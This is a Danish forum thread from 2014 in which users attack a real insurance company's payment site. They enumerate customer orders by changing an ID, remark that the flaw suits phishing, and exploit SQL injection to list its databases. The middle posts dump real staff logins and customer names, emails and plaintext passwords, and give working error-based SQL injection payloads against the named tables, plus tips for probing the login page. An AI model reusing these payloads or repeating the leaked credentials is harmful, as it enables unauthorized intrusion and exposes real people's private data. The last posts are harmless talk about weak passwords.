(Hvis dette ikke ligger det rigtige sted så sig lige til, var lidt i tvivl)
Haha ej jeg griner stadig lidt over det her...
Jeg snublede over en ven der havde fået en sms fra 'securator' der forklare ham at han skal gå ind og betale nogle penge for sin forsikring, dette ligger som et billed så jeg trykker hjemmesiden ind og id'et som fører mig til deres betaling's site. Der finder jeg hans addresse. og hvorfor jeg ændre i linket ved jeg ikke men det var oplagt at jeg kunne finde en hel masse andre folk's addresser og navne.. Tag et kik:

link:
https://betaling.123hotel.dk/secureproxy...rid=511710

edit:
https://betaling.123hotel.dk/secureproxy...hp?orderid=[ordre_ID]

Synes altså det er lidt sjovt selvom jeg måske ikke er den stor hacker eller sådan noget :p
EDIT: åh gud.. hvis man fjernede den første del af linket spasser det rimeligt ud...
http://www.securator.dk/modules/ordersys...rid=511703

Lol....
http://www.securator.dk/modules/ordersys...hp?orderid=*

Det er jo oplagt at bruge til phishing...

EDIT: Og siden er sårbar over for SQLi ;)

Jeg har aldrig lært sqli. Men kunne da være sjovt hvis man kunne finde alle emails eller lignende. kunne godt tænke mig at vide mere hvis i opdager nogle flere ting. jeg prøvede lige at kikke på "paymentdone.php?accept=accept&orderid=".
Den gennemføre betaling men den siger at den betaler 0,00, det virker ikke til at være til meget nytte.

Den kan du også decline.
Der er uanede fejl at tage hul på ;)

(25-08-2014, 18:28)Lecheffer Skrev: Jeg har aldrig lært sqli.

Det er ellers gode egenskaber at have når man støder ind i sider som disse. Der er stadig utroligt mange sider der ikke sikrer sig mod det.
Lige denne type injections er jeg ikke så fandens hård til, men BaltoZhaar kan ikke holde op med at grine ad deres sikkerhed..

(25-08-2014, 18:36)MalcolmXI Skrev: BaltoZhaar kan ikke holde op med at grine ad deres sikkerhed..

Er så liiiige på renden til at hyle nu. /info.php, mulighed for RFI, XSS, Blind SQLi, Double Query, Ingen CSRF filter, blah, blah, blah...

Der er 16 databaser vi har adgang til foruden information_schema:

Citer:develop_claims
develop_securator_dk
develop_securator_dk2
fullcare
mysql
old_develop_2013_06_13
old_develop_2014_03_07
performance_schema
phpmyadmin
secu_shop
secu_shop2
securator_claims
securator_dk
taskdatabase
test
website

Der er 320 tabeller med tilhørende 2633 kolonner alene i vores nuværende database (securator_dk). Nogle af de spændende kunne være:

Citer:'Payment_Services'
'Payment_Users'

'atmail_users'

'cc_call_list'
'cc_call_list_entry'
'cc_check'
'cc_letters'
'cc_question'
'cc_reports'

'pointshop_custom_points'
'products'
'pointsystem_list_dealers'

'mail_log'

'products_passport_data'

'ordersystem_dibs'
'ordersystem_dibs_tickets'
'ordersystem_dibs_transactions'

'media_insurance_customers'

'partner_site_access'
'partner_site_users'

'products_customers'

'mobil_backup_codes'

'screening_list'
'screening_settings'
'screening_suspects'
'screening_suspects_list'

'injury_report'

'swc_access_code'
'swc_access_level'
'swc_account'
'swc_account_access_code'
'swc_account_address_book'
'swc_account_check'
'swc_account_documents'

'invoice_products'

'swc_account_login'
'swc_account_options'
'swc_account_users'

'ip_phone'
'ip_phone_actions'
'ip_phone_command'
'ip_phone_numbers'

'dibs_payments'
'dibs_payments_receipt'

'cc_tasks_booking'
'cc_tasks_compensation'
'cc_tasks_documents'

'cio_request_validation'
'claimsmanagement_clients'

'dealersite_pos'
'dealersite_pos_config'
'dealersite_sites'
'dealersite_sites_config'
'dealersite_sites_config_views'

Et par eksempler:

I vores nuværende database har vi tabellen 'atmail_users', med følgende kolonner:

Citer:rec_id
account_id
atmail_username
atmail_password

account_id | atmail_username | atmail_password
851 | christina.support | sec7323
847 | jes.support | sec7323
849 | flemming.support | sec7323
852 | jette.support | sec7323
.......................................
..............................
....................

Plaintext passwords og... ahem.. manglende variation...


Databasen 'secu_shop' har tabellen 'brugere' med følgende kolonner:

Citer:brugerLogin
brugerNavn
brugerAdresse
brugerPostnr
brugerBy
brugerTelefon
brugerEmail
brugerPass
brugerReqPassChange

brugerEmail | brugerNavn | brugerPass
kennetho@gmail.com | Kenneth Toftegaard Olsen | 40168434
grevfox@gmail.com | Anders Vestergaard | bhhav
danprentow@gmail.com | Dan prentow | 31515121
.......................................
..............................
....................

Passwords i plaintext! ....

Og her er min syntax hvis det skulle have interesse

Første eksempel:

Citer:'and(select 1 from(select count(*),concat((select (select (SELECT concat(0x27,0x7e,cast(atmail_users.account_id as char),0x7e,0x27,cast(atmail_users.atmail_username as char),0x27,0x7e,cast(atmail_users.atmail_password as char),0x27,0x7e) FROM `securator_dk`.atmail_users LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'

Andet eksempel:

Citer:'and(select 1 from(select count(*),concat((select (select (SELECT concat(0x27,0x7e,cast(brugere.brugerEmail as char),0x7e,0x27,cast(brugere.brugerNavn as char),0x27,0x7e,cast(brugere.brugerPass as char),0x27,0x7e) FROM `secu_shop`.brugere LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'

Vanvittigt! Du er super cool, jeg kan ikke bruge dine 'syntax' til noget fordi jeg ikke ved hvor de skal hen men det der er for cool, burde nok lære det der engang :).. Det er utroligt hvor meget man kan hive ud af en hjemmeside alligevel. og så at det er private data sejt!

Telefonnummer som kodeord er og bliver det mest sikre valg udover "password" og "123456".

(26-08-2014, 12:58)Lecheffer Skrev: Vanvittigt! Du er super cool, jeg kan ikke bruge dine 'syntax' til noget fordi jeg ikke ved hvor de skal hen men det der er for cool, burde nok lære det der engang :).. Det er utroligt hvor meget man kan hive ud af en hjemmeside alligevel. og så at det er private data sejt!

Hov. Mente query. Det er nok heller ikke lige Double Query man skal starte med. Der er flere steder på siden der ikke er kodet optimalt.
Start ud med login siden. Sæt ' som bruger id OG kodeord, og hvis du så kan lidt SQL i forvejen kan du hurtigt se hvorfor jeg har valgt lige præcis denne query.

Dr. Blå:
Det er helt utroligt så fantasiløse folk er. :)

(26-08-2014, 16:37)BaltoZ|-|aar Skrev: Hov. Mente query. Det er nok heller ikke lige Double Query man skal starte med. Der er flere steder på siden der ikke er kodet optimalt.
Start ud med login siden. Sæt ' som bruger id OG kodeord, og hvis du så kan lidt SQL i forvejen kan du hurtigt se hvorfor jeg har valgt lige præcis denne query.

Dr. Blå:
Det er helt utroligt så fantasiløse folk er. :)

Ikke bare det, men ignorante. Jeg demonstrerede et dictionary attack for min mutti engang (på hendes password, som hun bruger over alt), men det var simpelthen ikke nok til at overbevise hende om hvor latterligt svagt det var, selvom det dog ikke er et telefonnummer.

Så kommer den sædvanlige smøre om at det er umuligt at huske samtlige forskellige koder á la Rx*kIodpDlT@. Igen, på trods af at have fortalt om konceptet bag adgangsfraser var der stadig ikke hul igennem. Til sidst prøvede jeg med lastpass, men så glemte hun sit master password...
Det er næsten til at græde over.

P.S. Hun har skiftet alle sine adgangskoder tilbage til den gamle.

(26-08-2014, 21:03)Doctor Blue Skrev: Så kommer den sædvanlige smøre om at det er umuligt at huske samtlige forskellige koder á la Rx*kIodpDlT@. Igen, på trods af at have fortalt om konceptet bag adgangsfraser var der stadig ikke hul igennem.

Syntes slev denne illustration er meget sigende, men ved godt at nogen brugere stadig er tabt:
http://onemillionsigns.com/wp-content/up...swords.jpg